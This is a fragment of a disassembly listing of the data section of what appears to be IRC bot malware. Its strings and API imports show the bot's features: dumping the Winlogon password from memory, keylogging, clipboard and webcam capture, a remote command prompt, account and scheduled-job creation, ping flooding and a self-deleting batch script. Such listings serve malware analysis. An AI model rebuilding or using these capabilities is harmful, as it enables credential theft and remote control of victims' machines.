		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
; char unk_42BB80
unk_42BB80	db    2			; DATA XREF: sub_409032:loc_40917Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42BBC4	db    2			; DATA XREF: sub_409032:loc_409177o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
; char unk_42BC0C
unk_42BC0C	db    2			; DATA XREF: sub_409032+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42BC84	dd offset byte_530055	; DATA XREF: sub_409032+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset byte_4E0049
		dd 0
off_42BC9C	dd offset byte_530055	; DATA XREF: sub_409032+CEo
		dd offset byte_520045
		dd offset loc_41004E
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409032+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409032+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409032+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409032+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409032+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_409032+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409032+40o
					; sub_409032+161o ...
		align 10h
unk_42BD60	db    2			; DATA XREF: sub_409032+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
; char aMsgina[]
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_409204+13Eo
		align 4
; char aNwgina[]
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_409204+123o
		align 4
; char aWinlogon[]
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_409204+AFo
		align 10h
; char unk_42BDC0
unk_42BDC0	db    2			; DATA XREF: sub_40966A+70o
					; sub_409701+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
; char unk_42BE2C
unk_42BE2C	db    2			; DATA XREF: sub_409701+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981A+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981A+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40981A:loc_40A455o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40981A+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40981A+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40981A+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40981A+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40981A+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40981A+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40981A:loc_40A3B7o
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40981A+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40981A+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40981A:loc_40A36Do
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981A+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981A+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981A+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981A+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40981A:loc_40A2F9o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981A+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40981A+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40981A:loc_40A2AFo
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981A+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981A+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40981A:loc_40A265o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981A+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40981A+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40981A+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40981A+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40981A+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40981A+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40981A+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981A+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40981A+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40981A+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40981A+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40981A:loc_40A15Ao
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40981A+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40981A+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40981A+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40981A:loc_40A0FBo
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981A+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40981A+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40981A+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981A+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981A+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40981A+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40981A+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40981A+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981A+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981A+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981A+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40981A:loc_409FDBo
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40981A+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40981A+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40981A+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40981A+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40981A+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40981A+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40981A+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40981A+62Do
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40981A+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40981A+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40981A+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40981A+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_40981A+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40981A+5DFo
		align 10h
; char aSend[]
aSend		db 'send',0             ; DATA XREF: sub_40981A+5D2o
					; sub_40EE51+223Ao
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40981A+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40981A+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40981A+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40981A+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40981A+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40981A+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40981A+577o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40981A+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40981A+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40981A+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40981A+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40981A+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40981A+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40981A+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40981A+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40981A+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40981A+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40981A+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40981A+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40981A+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40981A+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40981A+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40981A+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981A+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40981A+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40981A+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40981A:loc_409C29o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40981A:loc_409C01o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981A+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981A+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40981A+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40981A+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40981A+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40981A+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40981A+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40981A:loc_409B53o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981A+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981A+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40981A:loc_409B0Eo
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40981A+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40981A+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40981A+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40981A+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40981A+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40981A+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40981A:loc_409A79o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40981A+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40981A+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40981A+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981A:loc_409A12o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40981A+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40981A+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40981A+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40981A+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40981A+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40981A+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40981A+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40981A+14Ao
		align 4
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: sub_40981A:loc_40994Fo
					; ___crtMessageBoxA+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981A:loc_409922o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981A+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981A+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40981A+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40981A+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981A+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981A+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40981A+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40981A+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40981A+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981A+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40981A+23o
		align 4
aKernel32_dll_1	db 'kernel32.dll',0     ; DATA XREF: sub_40981A+Ao
		align 4
; char unk_42C764
unk_42C764	db    2			; DATA XREF: sub_40A4A7+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
; char aAvicap32_dllFa[]
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+2CCo
		align 10h
; char aOdbc32_dllFail[]
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+298o
; char aShell32_dllFai[]
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+264o
		align 4
; char aMpr32_dllFaile[]
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+230o
		align 4
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+1FCo
		align 4
; char aDnsapi_dllFail[]
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+1C8o
; char aNetapi32_dllFa[]
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+194o
		align 4
; char aIcmp_dllFailed[]
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+160o
		align 4
; char aWininet_dllFai[]
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+12Co
		align 10h
; char aWs2_32_dllFail[]
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+F8o
; char aGdi32_dllFaile[]
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+C4o
		align 10h
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+90o
		align 4
; char aUser32_dllFail[]
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+5Co
; char aKernel32_dllFa[]
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+28o
		align 10h
; char aSErrorSD_[]
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA30+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AAF5+5o
					; sub_415C4D+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AB77+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC1B+2o
; char aComspecCSS[]
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC3D+140o
		align 4
; char a[]
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AC3D+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
; char aSdel_bat[]
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AC3D+48o
		align 4
unk_42C9A8	db    2			; DATA XREF: sub_40ADFD:loc_40AEBCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
; char unk_42C9E8
unk_42C9E8	db    2			; DATA XREF: sub_40ADFD:loc_40AE8Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42CA28	db    2			; DATA XREF: sub_40ADFD:loc_40AE56o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
; char unk_42CA5C
unk_42CA5C	db    2			; DATA XREF: sub_40ADFD+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
; char unk_42CA9C
unk_42CA9C	db    2			; DATA XREF: sub_40AF81+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
; char unk_42CAD8
unk_42CAD8	db    2			; DATA XREF: sub_40AF81+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
; char dword_42CB10
dword_42CB10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B10D+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
; char dword_42CB4C
dword_42CB4C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B10D+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
; char aPrivmsgSS[]
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B38B+33o
dword_42CB94	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B412:loc_40B544o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42CBD4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B412+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42CC0C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B412:loc_40B4F8o
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
; char dword_42CC4C
dword_42CC4C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B567+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
; char dword_42CC90[]
dword_42CC90	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B567+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B567+21o
; char aDdDhDm[]
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B71C+52o
; char aSysinfoCpuI64u[]
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B8D3+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B8D3+192o
; char aCouldnTResolve[]
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D3:loc_40BA37o
		align 10h
word_42CDD0	dw 3Fh			; DATA XREF: sub_40B8D3:loc_40B9D5r
					; sub_40D099+1Fo
		align 4
; char aSS_4[]
aSS_4		db '%s (%s)',0          ; DATA XREF: sub_40B8D3+EBo
a???		db '???',0              ; DATA XREF: sub_40B8D3:loc_40B996o
					; UPX0:loc_415BFEo
a2003		db '2003',0             ; DATA XREF: sub_40B8D3+BAo
					; UPX0:0042E8C8o
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B8D3+AAo
					; UPX0:00415BE9o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B8D3+98o
					; UPX0:00415BD9o
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_40B8D3+7Eo
					; UPX0:00415BC0o
		align 4
a98		db '98',0               ; DATA XREF: sub_40B8D3+6Co
					; UPX0:00415BB0o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B8D3+5Ao
					; UPX0:00415BA0o
		align 4
a95		db '95',0               ; DATA XREF: sub_40B8D3+46o
					; UPX0:00415B92o
		align 10h
; char aNetinfoTypeSS_[]
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BB87+ABo
		align 10h
; char off_42CE40[]
off_42CE40	dd offset loc_412F4B+3	; DATA XREF: sub_40BB87:loc_40BBFBo
off_42CE44	dd offset dword_4E414C	; DATA XREF: sub_40BB87:loc_40BBF4o
; char aDialUp[]
aDialUp		db 'Dial-up',0          ; DATA XREF: sub_40BB87+5Bo
; char aNotConnected[]
aNotConnected	db 'Not connected',0    ; DATA XREF: sub_40BB87+48o
		align 10h
; char unk_42CE60
unk_42CE60	db    2			; DATA XREF: sub_40BC4D:loc_40BE06o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42CEA0	db    2			; DATA XREF: sub_40BC4D:loc_40BDFFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
; char dword_42CEDC
